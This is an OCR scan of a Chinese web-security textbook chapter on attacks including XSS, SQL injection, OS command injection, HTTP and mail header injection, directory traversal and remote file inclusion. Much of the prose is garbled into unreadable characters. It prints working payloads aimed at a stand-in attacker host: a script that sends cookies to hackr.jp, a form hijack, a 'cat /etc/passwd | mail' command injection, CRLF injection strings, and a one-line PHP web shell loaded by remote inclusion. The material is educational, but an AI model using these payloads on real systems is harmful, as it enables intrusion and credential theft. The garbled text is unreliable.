PN ID MEHZE, MeBEE ST Bl & KM (dR hackrjp) » SBABRME BTN

‘ http://example.jp/login?ID="><scr... ‘

#E LA ELEN

BEf
EEATERRE o
298D F BILA X Pl ]

freepe

ZJG, 1D REWGRALEZIEMRFY, TETRMB/RZZEFEFSE, AP RERRIECHERER
i %

St http://example.jp/login?ID=yama i%RiFXFRIfK HTML JEARAED (SR

<div class="logo">
<img src="/img/logo.gif" alt="E! #HLL" />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
ID <input type="text" name="ID" value="yama" />
</div>

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="
S R X R HT MLIEARRS ()

<div class="logo">



<img src="/img/logo.gif" alt="E! L% />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
ID <input type="text" name="ID" value=""><script>var f=document.getElementById("login");
</div>

(l [
o % FF* Cookie f%IB B

BT AER B TR 2 50, T T IR R M B B A (R 5 LB S DA ek it sk, B9 P i
Cookie f& & -

<script src=http://hackr.jp/xss.js></script>
Z A P R [ hitp:/hackr.jp/xss.js X, B FIX BeR A JavaScript 4 5 B .

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);

document.write(">");

TEAFTE AT B3 A e ik 2 42 IR 69 Web RF_E$AT L IX B JavaScript #2/F, BIAT5 1 2% Web R
Prabifi4 Tt Cookie 15 8. R FiXtefs B4 RIEBBHHI Web Wb (http:/hackr.jp/) , idF7EM
MEFHEES ., 4R, Bk o EI K Cookie [FET .

hitpfexample. ploginTiE

sre=httmihackr miss

Conkie 25T

B M XSS B FH Cookie f5 2

11.2.2 SQLEAKH
o £HATIEE: SQL M SQL HAKH

SQL A (SQL Injection) J&F&E X Web S I #HEE, @ILZ{7ARAK SQL M4 Bid. %
ZABYEA T RS RICR B, N R E BB B R R i 5% .

Web 37 Fil 8 % #0 2x FA BIBHR B, 24 75 B0 000 P R 9 IR B AT L 3R s . IR SG B AR RS, 2B
SQL )R SR BT R E R M. I SRIETA SQL EAINF R EFFEGR, A TRITEER
FEA (njection) JE SQL iE4).

SQL N Biti A W A i R L TR

o ARREE BUE BB B A I BOE

o B AE

o AT R BRI 5 L % KRN R %
i sQL

SQL &Mk R B HIRER RS (Relational DataBase Management System, RDBMS) )%
WS, ATHEATHREROE BT W HIES . RDBMS H & ¥#E A Oracle Database. Microsoft
SQL Server. IBMDB2. MySQL Fl PostgreSQL %, X6 ¥#E i R Zi#F 7] LAIE SQL 1 AR FEiE =
H.

SR FE ¥ Web LA, SEid 3R 778 SQL A {64 RDBMS, FHE RDBMS i& [F] i) 45 5 7 i i
FI#E Web Rifd.

o SQL EaRH

SELECT title,text FROM newsTbl WHERE id=123

SQL A B it R B

TSN KRR DR, VR SQL AT . B ZTIRE, BATALLKRAER N2 FIER
WRRET, BREUMEENFTEEE.


http://hackr.jp/xss.js
http://hackr.jp/

BEERELER
-

OENET 'Ll,! SN D

i bwm | Sanl 2 ~TEFEB
o4hgng EWME SeBil—E43TCPP

o

BE: sQLEAB R H
IE % b 1 3R AE R B
THEE# EHEEAXRTFHRRER.

e -

BOOKSTORE

[ 1
SELECT * FROM bookThl WHERE author = £ BV and Fag = 1

i 1o

M obookThi#$, BFE#Rauthor= EBE and flag=1| o4& FRE{TAE

B E¥ R KR
URL M &EW B EME q= RHE, X/AMEH Web RAHEAS SQL B4, HETHK SQL E4).

SELECT * FROM bookTbl WHERE author = 'LH®' and flag = 1;

% SQL #EHA)# R M bookTbl %, &2 author= LB & and flag=1 (AI4§) FTEEAT MR .

Hud FE A ) book Tl RILFAT LG b (K FTA 14845 8. @i SQL B4, KR E#4 (author)
FEFEIH flag K 1 WEKAHIKHRE, BEEARRERERER.

hookThl

MbookThl FAETHEE author= CHE " 8 "Tho=1"SH-OEFETHE
*“flag=0" FEEEaHEE

B iR P ik 3
SQL ¥ A Bt i 3 £ R B
HERIA faE T BN EEE RS R BT E -



=

BOOKETORE S

hitpflaxample. comysearchq— E5FE '

- SRHN—ESTTORNP

[saLiEs ]
SELECT * FROM bookTsl WHERE stttiot =" ESFE " | #nd fiag =1

M bookThl BRI E T 82 “author= FBE " T St T EHe
(- EHAFSEALEE, Akfg=1 T EtEEEiznmT )

B sQL A B i # R Bl
HIRRE) SQL VAV AE A MR FE ) bookTbl b, R 2 author= B ELSAFFTZEAT OBLIE", IR

FiR.

SELECT * FROM bookTbl WHERE author ='LEFE' - -' and flag=1;

SQL iFaIHK) - ZJFEWAER. B, and flag=1 XANKMHH AT

bopkThl

M bookThl & ARFME "suthor= DB E "S- R IFSIRTTE T 2R
( fleg E-PARE FESOLEATRERNAT |

B iR P ik

SR flag MBEEMETER, REUHWR author="_LEF " AFFTZEAT OB, IXREFERAR LY v AR AR BR) 5
I RIRMRT .

B: B SQLIEAKE R

o SQLIEABHEH IR SQL iE A4 MR Bl
SQL HEARK i #H SQL & ABARMRIT & & BB B 2 LAIE B 45 M i Bt o

tetm, FEZATIBE RIS, I author MFHEE R MHE) " EHE " NFRFHR
4% $q.



SELECT * FROM bEookThl WHERE author = '5g' and flag = 1

SELECT * FROM bookThbl WHERE author =1L ' and Clag = 1:

suthor I EEE S

BB EGIME N S BTG5 5 () ZoReds author M FIEAERR, UBIEHE - HEI5E

TERGR. Hk, author FMEEMM T EEFE, W/EHA -- WAFKT author FIH{H, XBEMHTK
HAb %,

B sQL A B i R

S4B ) ] R DR AT AR AR B A % Bt — R BoR iR T . BSEPRRAE SQL AT, RA T fiE
SRBAH G BRAHNEFSHMBIERN IR L RES, WA EZARRERTR.

11.23 OS &AL H

OS M4 A (OS Command Injection) 3@t Web R, HATIEEMERMERG M 4SARILGEEN B
. REAERRA Shell B3 i 7 s A A 7EM B 1 R«

ATLAA Web [ F hiliit Shell SRiHFIB(E R i 4. W% M Shell RAFZEGIR, AT APITHEA %
0S 4.

OS fir & N 7] LA Shell &i%d@r4, ik Windows 2k Linux #:E R4 M6 47 BB . st RB, @
i OS EAKHEH AT OS LB i) &S o

o OSEAH T RBI

TR RN RIE TR, VMR OS AT . XThAETTHE AP B M -4% USSR

Hubk K% % .
- |
- # o u
4 &
HETARSRSANRE 2
BRI [
EEmE [

B: OS ¥\ Xt i) Bt R 4
TR A ER R A K — R ED

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";

FEFFH ) open B¥ 1AM sendmail 74 KX B, T 8 52 BB A R % HuhE BD $adr (94H .
Wik 6 T T A4 s A R L .

; cat /etc/passwd | mail hack@example.jp
ERFEEOZE, WRUTHaSHE.
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp

B HWMAETEESS ) o BAMFSE OS fdh, KURHT R BEAN AT A& AR,

AW, sendmail fr &PATHT G, BT R E]AT cat fetc/passwd | mail hack@example.jp X B fir
AT . &R, &6 Linux /75 B etc/passwd M3, SELAIBHFRR K%L T hack@example.jp.

11.2.4 HTTP H#HEAIBH

HTTP &I d: (HTTP Header Injection) 41 J i # i@ 76 W 7 & ¥ 5 B W R NIRAT , 8 I R0 7
HISE AR — RS R TS B,



6 8 B R AR A I A S I B AR D HT TP i ST Bts (HT TP Response Splitting Attack) .
WIRATR, Web B2FA B 238 MM BB A BE,  BR45 W % # #852 BL Location 1 Set-Cookie.

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

* 123458 RN E

HTTP B3 AT BRI, 3B I AR S L o 3 B T AT (B O 7, 3N HAT R BTk
HTTP & 8\ B i 4 T B Il AR UL T — 25

o BHEAE Cookie f5 &

o HEMZEMR URL

o RREBMEM (HTTP W B Wi B i)

o HTTP & AN B R 6

TFTTERAT LA 5 S AN 50 /5 BT B 2 K X BT R T BB, DHE HTTP B3 N Bk . i%3hak
RN KBEBE T —AHKH D, — HIRERIN, MERZ D (RBAENR N Location B #¥
BtW, J%in Location: http://example.com/?cat=101, 43I %48 &4 & & Fpke.

BEE E R EE R E R E A

T —
-t & - )

M iRl

e [v]
T (1an) |
TE (1e2)
L {1c3)

* | sy

IF [ & &R W
Locstien: httpifexample.com/fcat=101

BE: HTTP & 8\ Bk = ol
Kt & UL FEK WA RZATINHEA ID 5 REHER.

101%@D%0ASet-Cookie: +SID=123456789

Heh, %0D%O0A & HTTP L HATH, EEENRTERFES I EHZE MY (hitp:/hackrjp/) HI4
% ID % SID=123456789 () Set-Cookie B #FE.

RIEZHERZIG, BB RIRE LT R

Location: http://example.com/?cat=101 (%@D%@A : H:ATH)
Set-Cookie: SID=123456789

B, H#FE Set-Cookie B, HILHdi# o 8 EBBUE M Cookie 72, I HIL 1% [ & Bk
(Bt A E IR R &6 ID) Wi s, BudiE .

Bt F N %0D%0A, JRARiZE F 5 #F-B Location M HIEAES, (HLIMHTE, %0D%0A %
FRT BATRE, AR T O E TR

IR, Bt AT LE W L A MR H B
o HTTP ui 2 4% i B

HTTP mi SE T B i & FIFE HTTP & N —Fh i W BFAER, (BRZDHA
%0D%0A%O0D%0A FFHERN T4 & JG K ik o FIFIX PG BAT AR HTTP B #05 £ 4T
THEATT, KRR ROER A, BB K B, R B A HT TP w SLET Beits «

%OD%OA%ODROAHTML CHEAD><TITLE>ZJ&, MERRMMHAAL <!--

TERTAEHEAT HTTP BB, BidRIE LT R, 3K B 45 548 2] LU R X R 5L o


http://hackr.jp/

Set-Cookie: UID= (%0D%@A : #/T7F)
(%@D%0A : HATFF)

<HTML><HEAD><TITLE>ZJ&, MERRMMITARE <! -- FRTUHX B H 8 BA A5 SVAER)

FIFXA Y, B BN 3088 & Bon s Web JUH, ik PMAESRAGEESE, o
0 0l AR Bt A R A OR

5i4h, W HTTPA.1 RICRE MR EI D fE, &S BEF RS SHER AT HEATRERME . XFBE

PG RIS A, FE R S 2 Bty (X RO, S/t ) B 8 i) Web )
e

11.25 WA BMEALS
HEAHE#BEA (Mail Header Injection) /&1 Web S o (R K 3% T i, Boadi # 3@ ik WS4 5 34 To 2%
Subject WAL AR R BE . FIFFEAE SRR Web W3, 7T BB ARtk R 3% 85w
B i

o HRAFE EB N Bl R

LA Web T )% 30 2% 8 9 B UE AR B 0 SN o % 3h RE T AE SR B Y O M IR sk R
WA G, LA 7] ORI 46 I 3 2 B

e
T
B i
HETE TR G,
sRfdERE [
EAEE [
(= |

B e B A N Bt R
Tk K5 LA T SR AE g i kb R AR T R o

bob@hackr. jp%eD%@ABcc: user@example.com

%0D%0A FERRFF RSP RFHATHF . — B HIRMEFAEN) Web SLFIEMC T IXAM AT, AT RE BN
Bec Mp bk A8 IR 3%, T SR A R TV 2 1

FSME T —HE, PG AT R 7T RSSO SO A Y B IF R I

bob@hackr. jp%@D%@A%@OD%OATest Message

HLERE G, A RS To 1 Subject FAE R BB & ¥, SR SCAB M350 1E .
11.26 BFREH B

H 3 )5i (Directory Traversal) B RIgn AL R AT HF, B IEBRI I HREBRE, &R
B —FEd . XMEEA N AR ABRIE (Path Traversal) Kifi.

JEit Web SLFIRS SCHFALERERAE T, 7E i SMIB TR SE SO 4R I AL B A AEBRAR AR LT, R AT ./ AR
e ®] fetc/passed FHint#EfE b, [FULIRS 8 EARRE SO B R BB RBII S XK, B
A AR BB ER Web fR95 2% LIRS0 H.
TE AR A7 2E i (B e SCH IRV R, LS JO2122 9 P 4R 5 A R SO 42 R U R BURR.

o B p B # e

T AR R BB AR B, UHE H SRR . ZThAREE L T AR, REEA L. R
M hwwllog/ SCHF B 3T BREX A SE 19 301 o

http://example.com/read.php?log=0401.1log
et v a0 T BUE R IR
http://example.com/read.php?log=../../etc/passwd

HHFBON T RS # T L) /etc/passwd 3CHF, &M fwwwlog/ BSRITAEERLARRS Bt A . ik g
read.php B 5250 R B A 1 T RARTE, 0 IR AR A TF R SO AR FE BT A 7 B R «



log=_/. fetc/passwd

log=0401 log

0401, log |J

B HF08 Sl =6

1127 ERXHEERRE

IR &R (Remote File Inclusion) 245 4 #8431 19 2 5 B LA STOF B NI, Xty A i i s S
EARS AR URL F8 BB, EMIAERZ G, BB ATEREA K — Y.

XFEER PHP A& ARIA, % PHP 9 include Bk require R, XR&—FANELBE, fHEsHERES %
) URL fEASCH A DI RE . (HAR, ZIREAEK, PHPS5.2.0 2 /EBRINBE LI AET A

TE SR 7 it AL SRR 0 R, (LS IS4 6 6 RS AR % BRI E
o TR ICM A R B B it R B

T LL include 5\ B E ) BERE ST AR 0, PR SCHR IR . Z IR ANEE LT AW
FEBRIE LA, HAEMANR include 184 EENIX MR E -

http://example.com/foo.php?mod=news.php
ok [ 2% ) 9 AR 21 B R
http://example.com/foo.php HIVEARFG (FB4MEF)

$modname = $_GET['mod'];
include($modname);

ik & 48 W F P U URL R iR,
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=1s
Wi DR ARSNGB LA T R IXBA
http://hackr.jp/cmd.php HITEFRHG
<? system($_GET['cmd']) ?>

&% Web M558 (example.com) i include AT BASI NSMEARS 2800 URL, FRRE S NS # 764148 i
%48 F#SEW& M URL (http:/hackr.jp/omd.php) « 458, ilid system H¥tALTE Web 455 5%
(example.com) AT FBIREM OS 547 .

httpidfexsmple.comifoo.php?mod=news ohp
EAR-EFTHTRRE

foo.php -x_l $madname = $_GET|'med;
£ neludeimodnameal;

pecdsifes ]
httpidfexample.comffoo.php?mad=htm/frackr
A SRR 2 IR

picmd phpfkemd=1s

[ httpsfhackr ipfemd.pho AE4E |
<7 systemi$_GET!'emd']) 7>
it system EEHE S Feempecom BEB EHFOS &

B 32 7 SO R B B i R
FEUL B R Hh, 4T T AT RR Web k%5483 (example.com) 30K HFEEBK Is f4


http://hackr.jp/cmd.php

1.3 BERERBT ERSREIROZERA

PR e B B it B IBREA 51 R R &R R TR, $5IREE Web IREAS, BUR Bk b i — S 8 B 5] i 2 A

11.3.1 BEREdi

N (Forced Browsing) 42, MZEE Web REGEHKIATF B FFHISCHS, JEARLEA
FEBEATFHISCF

SR A0 S5 T RE A B DA T — BB R
o HEBEHMAESEFEER/R
o MEFRAREAFWHMRMA A TEHNEERE
o itk R 41 B Sh SISO

XA R AN ATFRISCHE, AT PRER & 2RaRH URL. AT—BAE T AL URL, iR ukE il i URL
XL SO BRI A 5 HET ) SO A2 B B SRR S, B ST ik T R URL 7= Ak it % .

XHEHFR R

http://mww.example.convlog/

Wi RS B RAHK, AEXH—WhERBRMA.

B AP A4 K B R4
http://mww.example.com/entry/entry_081202.log

XEATRAE BN (G LB, WS T AR entry_081203.log)
&4 3

http://www.example.com/cgi-bin/entry.cgi (JR&3C4)
http://www.example.com/cgi-bin/entry.cgi~ (& 344
http://www.example.com/cgi-bin/entry.bak (&4 344

H G B B B A R A SO BT IUR, B W B B4 IR R E R
LANUE A AT B I 30 H

HEGEE URL U7 R A0 B2 A EA BBAE Web T EAEAI RSO (HTML X, Bl )7 PDF 630#.
CSS bl R HAt #i#E %)

o B 0P % A I IR B R4

THERMICIE REHIER SNS HIEThReAH], VHER SN W AL S B Z20iH. % HLIaRIE TREA U
AR AN LIS, Hofth AERASRED I H AT



NS AP gETEWLEABIC
WHEEHHIE—R

4 X BBQBE

Hid R AR Z iR )
<img srec="http://example.com/img/tRNgSUBAG7Da. jpg" >

| re— .
M e e BSR4 URL, BIESH
nilic L S ﬁﬂ%ﬂﬂﬁﬂ@ﬁﬁfhtﬁfﬂﬁﬁiéiﬂ

Bl 55 i 3 2 B 2 TR R A

ZHIE A B G A RRARE I TR

<img src="http://example.com/img/tRNqSUBdG7Da.jpg">

BIE A X R B AR R VE AR, R ZEANEX E A URL, B B E URL AR EnZE . Hid
B S RER SCA A Uy R S, (ER B B U5 0 ], A=A T % 4R .

11.3.2 AIEBHHRE B4

AIERKE IR B4E (Error Handling Vulnerability) &£ ZTE, Web 5 K45 215 B A& Bk
EAANGR. 5 Web MAARNEEHEREEW TR,

o Web B2 F 3l 4 B9 45 R 1 B
s BIWMEFAGMBMHERER

Web N F AN 67 I B0 5 1 T B fR B PR A R T B o W IR R,  PREARO AR R B A T RE A AT R —
BT LARTR o

o NIEFKEHIRE B A B &2 RWHFH KR
Web J7F #il i B9 65 4R TH B

T DAAEZ) BERAESS R SO0 B], HRAS IERR B R R B BT Ko ZEDIRE, AR BN
HR bt R B RS UL RC R AR AR IR, SRR RER.



g ]
- -

11185 S il ] | yema@example.cam
L B

|
dasdsans |

W ek

Wﬂ

IEEHHAHET " el R IE T BEEFE RN
proftthim A R EaEe, BhTFESEEANS
2, ERthIEESEREFRUESEEEE,

Bl: RIESMRYBLESBZERRAN RG]

b7 B TR R WS A AR B RV B N TR A M R TE % Web Pk BIEATRS, bR
RFHEIRE R FOAMAE AR, POZ SRR A KB H R ZRNERE R

Wit E A BAT AR RMA SRR ARG BIX%, BT ARE S BB (4 k2 75 e XA
Web W B T

AT AR B SRS E R &, UK IRRTE S P A SR B B A ERS R AR B B AT
BREERGHMBNHEREE

THRMUE R RRRRERERAG, HRAERNERERLE. AR TRRYE, A
RIBH A B I, SRR EUIR R R.

T DGAE S BERAERRIE SO0 B], DHRAN IR EERIE S AL . ZATED) BEAE N B A IR R 3t
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